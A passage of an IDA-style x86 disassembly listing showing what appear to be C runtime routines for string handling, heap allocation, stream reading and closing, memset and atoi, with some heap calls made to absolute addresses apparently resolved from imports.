loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


loc_41B9E0:				; CODE XREF: sub_41B9C0+Aj
					; sub_41B9C0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B9E0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BA31
		test	ah, ah
		jz	short loc_41BA27
		test	eax, 0FF0000h
		jz	short loc_41BA1D
		test	eax, 0FF000000h
		jz	short loc_41BA13
		jmp	short loc_41B9E0
; ---------------------------------------------------------------------------


loc_41BA13:				; CODE XREF: sub_41B9C0+11j
					; sub_41B9C0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA1D:				; CODE XREF: sub_41B9C0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA27:				; CODE XREF: sub_41B9C0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41BA31:				; CODE XREF: sub_41B9C0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BA3B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+5809p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41BA50
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BA8A
; ---------------------------------------------------------------------------


loc_41BA50:				; CODE XREF: sub_41BA3B+Ej
		test	al, 83h
		jz	short loc_41BA88
		push	esi
		call	sub_41E42B
		push	esi
		mov	edi, eax
		call	sub_41E3C5
		push	dword ptr [esi+10h]
		call	sub_41E312
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41BA76
		or	edi, 0FFFFFFFFh
		jmp	short loc_41BA88
; ---------------------------------------------------------------------------


loc_41BA76:				; CODE XREF: sub_41BA3B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41BA88
		push	eax
		call	sub_41BA91
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41BA88:				; CODE XREF: sub_41BA3B+17j
					; sub_41BA3B+39j ...
		mov	eax, edi


loc_41BA8A:				; CODE XREF: sub_41BA3B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41BA3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA91	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40A928+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41BAF7
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_41BABD
		push	esi
		call	sub_41E717
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41BAE9
		push	eax
		call	sub_41E742
		pop	ecx
		pop	ecx
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BABD:				; CODE XREF: sub_41BA91+14j
		cmp	eax, 2
		jnz	short loc_41BAE8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41F472
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BAE8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 0Ch
		jmp	short loc_41BAF7
; ---------------------------------------------------------------------------


loc_41BAE8:				; CODE XREF: sub_41BA91+2Fj
					; sub_41BA91+44j
		push	esi


loc_41BAE9:				; CODE XREF: sub_41BA91+20j
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27D05B8h


loc_41BAF7:				; CODE XREF: sub_41BA91+Aj
					; sub_41BA91+2Aj ...
		pop	esi
		leave
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAFA	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040FA8Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41BB1E
		xor	eax, eax
		jmp	loc_41BBC7
; ---------------------------------------------------------------------------


loc_41BB1E:				; CODE XREF: sub_41BAFA+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB31
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB31:				; CODE XREF: sub_41BAFA+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41BB3D
; ---------------------------------------------------------------------------


loc_41BB3A:				; CODE XREF: sub_41BAFA+C4j
		mov	ecx, [ebp+arg_0]


loc_41BB3D:				; CODE XREF: sub_41BAFA+35j
					; sub_41BAFA+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41BB6F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41BB6F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41BB54
		mov	edi, eax


loc_41BB54:				; CODE XREF: sub_41BAFA+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41CD20
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BB6F:				; CODE XREF: sub_41BAFA+49j
					; sub_41BAFA+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41BBA2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41BB85
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41BB85:				; CODE XREF: sub_41BAFA+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41BBCC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BBD2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41BBBA
; ---------------------------------------------------------------------------


loc_41BBA2:				; CODE XREF: sub_41BAFA+78j
		push	esi
		call	sub_41F8E3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41BBD6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41BBBA:				; CODE XREF: sub_41BAFA+73j
					; sub_41BAFA+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41BB3A
		mov	eax, [ebp+arg_8]


loc_41BBC7:				; CODE XREF: sub_41BAFA+1Fj
					; sub_41BAFA+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41BBCC:				; CODE XREF: sub_41BAFA+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41BBD6
; ---------------------------------------------------------------------------


loc_41BBD2:				; CODE XREF: sub_41BAFA+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41BBD6:				; CODE XREF: sub_41BAFA+B2j
					; sub_41BAFA+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41BBC7
sub_41BAFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE2	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41D9B3+35p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41BBFD
		push	[ebp+arg_4]
		call	sub_41BEB5
		pop	ecx
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BBFD:				; CODE XREF: sub_41BBE2+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41BC12
		push	[ebp+arg_0]
		call	sub_41BA91
		pop	ecx
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BC12:				; CODE XREF: sub_41BBE2+20j
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	loc_41BD22


loc_41BC20:				; CODE XREF: sub_41BBE2+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BCFE
		push	[ebp+arg_0]
		call	sub_41E717
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41BCD9
		cmp	esi, dword_4DD380
		ja	short loc_41BC92
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41EF20
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC8E
		push	esi
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BC92
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BC72
		mov	eax, esi


loc_41BC72:				; CODE XREF: sub_41BBE2+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41CD20
		push	ebx
		call	sub_41E717
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41E742
		add	esp, 18h


loc_41BC8E:				; CODE XREF: sub_41BBE2+74j
		test	edi, edi
		jnz	short loc_41BCD5


loc_41BC92:				; CODE XREF: sub_41BBE2+62j
					; sub_41BBE2+81j
		test	esi, esi
		jnz	short loc_41BC99
		push	1
		pop	esi


loc_41BC99:				; CODE XREF: sub_41BBE2+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27E0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BCD5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41BCC1
		mov	eax, esi


loc_41BCC1:				; CODE XREF: sub_41BBE2+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41CD20
		push	[ebp+arg_0]
		push	ebx
		call	sub_41E742
		add	esp, 14h


loc_41BCD5:				; CODE XREF: sub_41BBE2+AEj
					; sub_41BBE2+D0j
		test	ebx, ebx
		jnz	short loc_41BCFA


loc_41BCD9:				; CODE XREF: sub_41BBE2+56j
		test	esi, esi
		jnz	short loc_41BCE0
		push	1
		pop	esi


loc_41BCE0:				; CODE XREF: sub_41BBE2+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		mov	edi, eax


loc_41BCFA:				; CODE XREF: sub_41BBE2+F5j
		test	edi, edi
		jnz	short loc_41BD1B


loc_41BCFE:				; CODE XREF: sub_41BBE2+43j
		cmp	dword_4DBE48, 0
		jz	short loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BC20
		jmp	loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BD1B:				; CODE XREF: sub_41BBE2+11Aj
					; sub_41BBE2+123j ...
		mov	eax, edi
		jmp	loc_41BE7D
; ---------------------------------------------------------------------------


loc_41BD22:				; CODE XREF: sub_41BBE2+38j
		cmp	eax, 2
		jnz	loc_41BE3D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BD3F
		test	esi, esi
		jbe	short loc_41BD3C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BD3F
; ---------------------------------------------------------------------------


loc_41BD3C:				; CODE XREF: sub_41BBE2+150j
		push	10h
		pop	esi


loc_41BD3F:				; CODE XREF: sub_41BBE2+14Cj
					; sub_41BBE2+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41BE1F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41F472
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41BE03
		cmp	esi, dword_43CE74
		jnb	short loc_41BDC7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F83A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41BD8D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41BDBF
; ---------------------------------------------------------------------------


loc_41BD8D:				; CODE XREF: sub_41BBE2+1A4j
		push	edi
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41BDC7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDA6
		mov	eax, esi


loc_41BDA6:				; CODE XREF: sub_41BBE2+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h


loc_41BDBF:				; CODE XREF: sub_41BBE2+1A9j
		test	edi, edi
		jnz	loc_41BD1B


loc_41BDC7:				; CODE XREF: sub_41BBE2+18Bj
					; sub_41BBE2+1B6j
		push	esi
		push	0
		push	dword_4DD384
		call	near ptr 27E0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41BE1F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41BDE8
		mov	eax, esi


loc_41BDE8:				; CODE XREF: sub_41BBE2+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41CD20
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41F4C9
		add	esp, 18h
		jmp	short loc_41BE17
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BBE2+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		mov	edi, eax


loc_41BE17:				; CODE XREF: sub_41BBE2+21Fj
		test	edi, edi
		jnz	loc_41BD1B


loc_41BE1F:				; CODE XREF: sub_41BBE2+162j
					; sub_41BBE2+1F8j
		cmp	dword_4DBE48, 0
		jz	loc_41BD1B
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	loc_41BD3F
		jmp	short loc_41BE7B
; ---------------------------------------------------------------------------


loc_41BE3D:				; CODE XREF: sub_41BBE2+143j
					; sub_41BBE2+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41BE67
		test	esi, esi
		jnz	short loc_41BE4B
		push	1
		pop	esi


loc_41BE4B:				; CODE XREF: sub_41BBE2+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DD384
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	short loc_41BE7D


loc_41BE67:				; CODE XREF: sub_41BBE2+260j
		cmp	dword_4DBE48, 0
		jz	short loc_41BE7D
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BE3D


loc_41BE7B:				; CODE XREF: sub_41BBE2+2Bj
					; sub_41BBE2+134j ...
		xor	eax, eax


loc_41BE7D:				; CODE XREF: sub_41BBE2+16j
					; sub_41BBE2+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BE82	proc near		; CODE XREF: sub_41BEA2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41FD3D
		test	eax, eax
		jnz	short loc_41BE8C
		retn
; ---------------------------------------------------------------------------


loc_41BE8C:				; CODE XREF: sub_41BE82+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41FBCD
		add	esp, 10h
		retn
sub_41BE82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEA2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+57DDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BE82
		add	esp, 0Ch
		retn
sub_41BEA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEB5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40A928+63p ...

arg_0		= dword	ptr  4

		push	dword_4DBE48
		push	[esp+4+arg_0]
		call	sub_41BEC7
		pop	ecx
		pop	ecx
		retn
sub_41BEB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEC7	proc near		; CODE XREF: sub_41BEB5+Ap
					; sub_41D9A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41BEF0


loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD388
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD380
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE74
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD384
		nop
		call	near ptr 27E0000h


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: ___:004016C0p
					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D084, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D084, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43AE1C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: ___:0041C16Bj
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41C1B3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: sub_41E2C9+1Cp
					; sub_422DFC+21E6p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2740708h
		push	eax
		nop
		call	near ptr 27309D5h


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
